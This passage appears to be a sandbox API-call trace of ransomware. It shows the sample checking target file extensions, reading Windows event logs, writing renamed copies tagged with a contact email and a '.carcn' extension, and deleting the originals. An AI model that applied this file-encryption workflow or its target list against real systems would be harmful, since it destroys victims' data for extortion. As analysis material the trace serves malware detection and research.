(lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.094] lstrlenW (lpString=".doc") returned 4 [0179.094] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString=".docx") returned 5 [0179.094] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.094] lstrlenW (lpString=".pdf") returned 4 [0179.094] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString=".xls") returned 4 [0179.094] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString=".xlsx") returned 5 [0179.094] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.094] lstrlenW (lpString=".ppt") returned 4 [0179.094] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.094] lstrlenW (lpString=".zip") returned 4 [0179.094] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString=".rar") returned 4 [0179.094] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.094] lstrlenW (lpString=".bz2") returned 4 [0179.095] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.095] lstrlenW (lpString=".7z") returned 3 [0179.095] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.095] lstrlenW (lpString=".dbf") returned 4 [0179.095] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.095] lstrlenW (lpString=".1cd") returned 4 [0179.095] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0179.095] lstrlenW (lpString=".jpg") returned 4 [0179.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.095] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.095] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54 [0179.095] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.095] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.095] CloseHandle (hObject=0x36c) returned 1 [0179.095] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20 [0179.095] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.096] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.096] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.096] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.096] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.150] GetLastError () returned 0x0 [0179.150] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.270] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.271] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.271] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x140, lpOverlapped=0x0) returned 1 [0179.272] SetEndOfFile (hFile=0x310) returned 1 [0179.272] CloseHandle (hObject=0x310) returned 1 [0179.273] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.273] SetEndOfFile (hFile=0x36c) returned 1 [0179.274] CloseHandle (hObject=0x36c) returned 1 [0179.275] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.275] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1 [0179.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.275] lstrlenW (lpString=".doc") returned 4 [0179.275] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.275] lstrlenW (lpString=".docx") returned 5 [0179.275] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.275] lstrlenW (lpString=".pdf") returned 4 [0179.275] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.275] lstrlenW (lpString=".xls") returned 4 [0179.275] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.275] lstrlenW (lpString=".xlsx") returned 5 [0179.275] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.275] lstrlenW (lpString=".ppt") returned 4 [0179.275] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.275] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.275] lstrlenW (lpString=".zip") returned 4 [0179.276] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".rar") returned 4 [0179.276] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".bz2") returned 4 [0179.276] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".7z") returned 3 [0179.276] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.276] lstrlenW (lpString=".dbf") returned 4 [0179.276] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.276] lstrlenW (lpString=".1cd") returned 4 [0179.276] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.276] lstrlenW (lpString=".jpg") returned 4 [0179.276] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.276] lstrlenW (lpString=".doc") returned 4 [0179.276] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".docx") returned 5 [0179.276] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.276] lstrlenW (lpString=".pdf") returned 4 [0179.276] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".xls") returned 4 [0179.276] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".xlsx") returned 5 [0179.276] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.276] lstrlenW (lpString=".ppt") returned 4 [0179.276] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.276] lstrlenW (lpString=".zip") returned 4 [0179.276] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.276] lstrlenW (lpString=".rar") returned 4 [0179.276] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.277] lstrlenW (lpString=".bz2") returned 4 [0179.277] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.277] lstrlenW (lpString=".7z") returned 3 [0179.277] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.277] lstrlenW (lpString=".dbf") returned 4 [0179.277] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.277] lstrlenW (lpString=".1cd") returned 4 [0179.277] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.277] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62 [0179.277] lstrlenW (lpString=".jpg") returned 4 [0179.277] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.277] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.277] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41 [0179.277] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.278] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.278] CloseHandle (hObject=0x36c) returned 1 [0179.278] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20 [0179.278] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.278] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.278] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.278] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.278] GetLastError () returned 0x0 [0179.278] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.448] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.552] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.552] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x126, lpOverlapped=0x0) returned 1 [0179.552] SetEndOfFile (hFile=0x310) returned 1 [0179.553] CloseHandle (hObject=0x310) returned 1 [0179.554] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.554] SetEndOfFile (hFile=0x36c) returned 1 [0179.555] CloseHandle (hObject=0x36c) returned 1 [0179.555] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.556] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1 [0179.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.556] lstrlenW (lpString=".doc") returned 4 [0179.556] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.556] lstrlenW (lpString=".docx") returned 5 [0179.556] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.556] lstrlenW (lpString=".pdf") returned 4 [0179.556] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.556] lstrlenW (lpString=".xls") returned 4 [0179.556] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.556] lstrlenW (lpString=".xlsx") returned 5 [0179.556] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.556] lstrlenW (lpString=".ppt") returned 4 [0179.556] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.556] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.556] lstrlenW (lpString=".zip") returned 4 [0179.556] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.556] lstrlenW (lpString=".rar") returned 4 [0179.557] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString=".bz2") returned 4 [0179.557] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString=".7z") returned 3 [0179.557] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.557] lstrlenW (lpString=".dbf") returned 4 [0179.557] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.557] lstrlenW (lpString=".1cd") returned 4 [0179.557] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.557] lstrlenW (lpString=".jpg") returned 4 [0179.557] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.557] lstrlenW (lpString=".doc") returned 4 [0179.557] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString=".docx") returned 5 [0179.557] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.557] lstrlenW (lpString=".pdf") returned 4 [0179.557] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString=".xls") returned 4 [0179.557] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString=".xlsx") returned 5 [0179.557] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.557] lstrlenW (lpString=".ppt") returned 4 [0179.557] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.557] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.558] lstrlenW (lpString=".zip") returned 4 [0179.558] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.558] lstrlenW (lpString=".rar") returned 4 [0179.558] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.558] lstrlenW (lpString=".bz2") returned 4 [0179.558] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.558] lstrlenW (lpString=".7z") returned 3 [0179.558] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.558] lstrlenW (lpString=".dbf") returned 4 [0179.558] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.558] lstrlenW (lpString=".1cd") returned 4 [0179.558] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.558] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49 [0179.558] lstrlenW (lpString=".jpg") returned 4 [0179.558] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.558] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0179.558] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43 [0179.558] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.558] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0179.559] CloseHandle (hObject=0x36c) returned 1 [0179.559] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20 [0179.559] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0179.559] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0179.559] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.559] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.559] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0179.559] GetLastError () returned 0x0 [0179.559] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0179.668] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0179.670] ReadFile (in: hFile=0x36c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0179.670] WriteFile (in: hFile=0x310, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x12a, lpOverlapped=0x0) returned 1 [0179.670] SetEndOfFile (hFile=0x310) returned 1 [0179.670] CloseHandle (hObject=0x310) returned 1 [0179.672] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0179.672] SetEndOfFile (hFile=0x36c) returned 1 [0179.673] CloseHandle (hObject=0x36c) returned 1 [0179.673] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0179.673] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.674] lstrlenW (lpString=".doc") returned 4 [0179.674] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString=".docx") returned 5 [0179.674] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.674] lstrlenW (lpString=".pdf") returned 4 [0179.674] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString=".xls") returned 4 [0179.674] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString=".xlsx") returned 5 [0179.674] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.674] lstrlenW (lpString=".ppt") returned 4 [0179.674] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.674] lstrlenW (lpString=".zip") returned 4 [0179.674] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString=".rar") returned 4 [0179.674] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString=".bz2") returned 4 [0179.674] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString=".7z") returned 3 [0179.674] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.674] lstrlenW (lpString=".dbf") returned 4 [0179.674] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.674] lstrlenW (lpString=".1cd") returned 4 [0179.674] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.674] lstrlenW (lpString=".jpg") returned 4 [0179.674] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0179.674] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.675] lstrlenW (lpString=".doc") returned 4 [0179.675] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString=".docx") returned 5 [0179.675] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0179.675] lstrlenW (lpString=".pdf") returned 4 [0179.675] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString=".xls") returned 4 [0179.675] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString=".xlsx") returned 5 [0179.675] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0179.675] lstrlenW (lpString=".ppt") returned 4 [0179.675] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51 [0179.675] lstrlenW (lpString=".zip") returned 4 [0179.675] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString=".rar") returned 4 [0179.675] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString=".bz2") returned 4 [0179.675] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0179.675] lstrlenW (lpString=".7z") returned 3 [0179.675] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0179.675] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 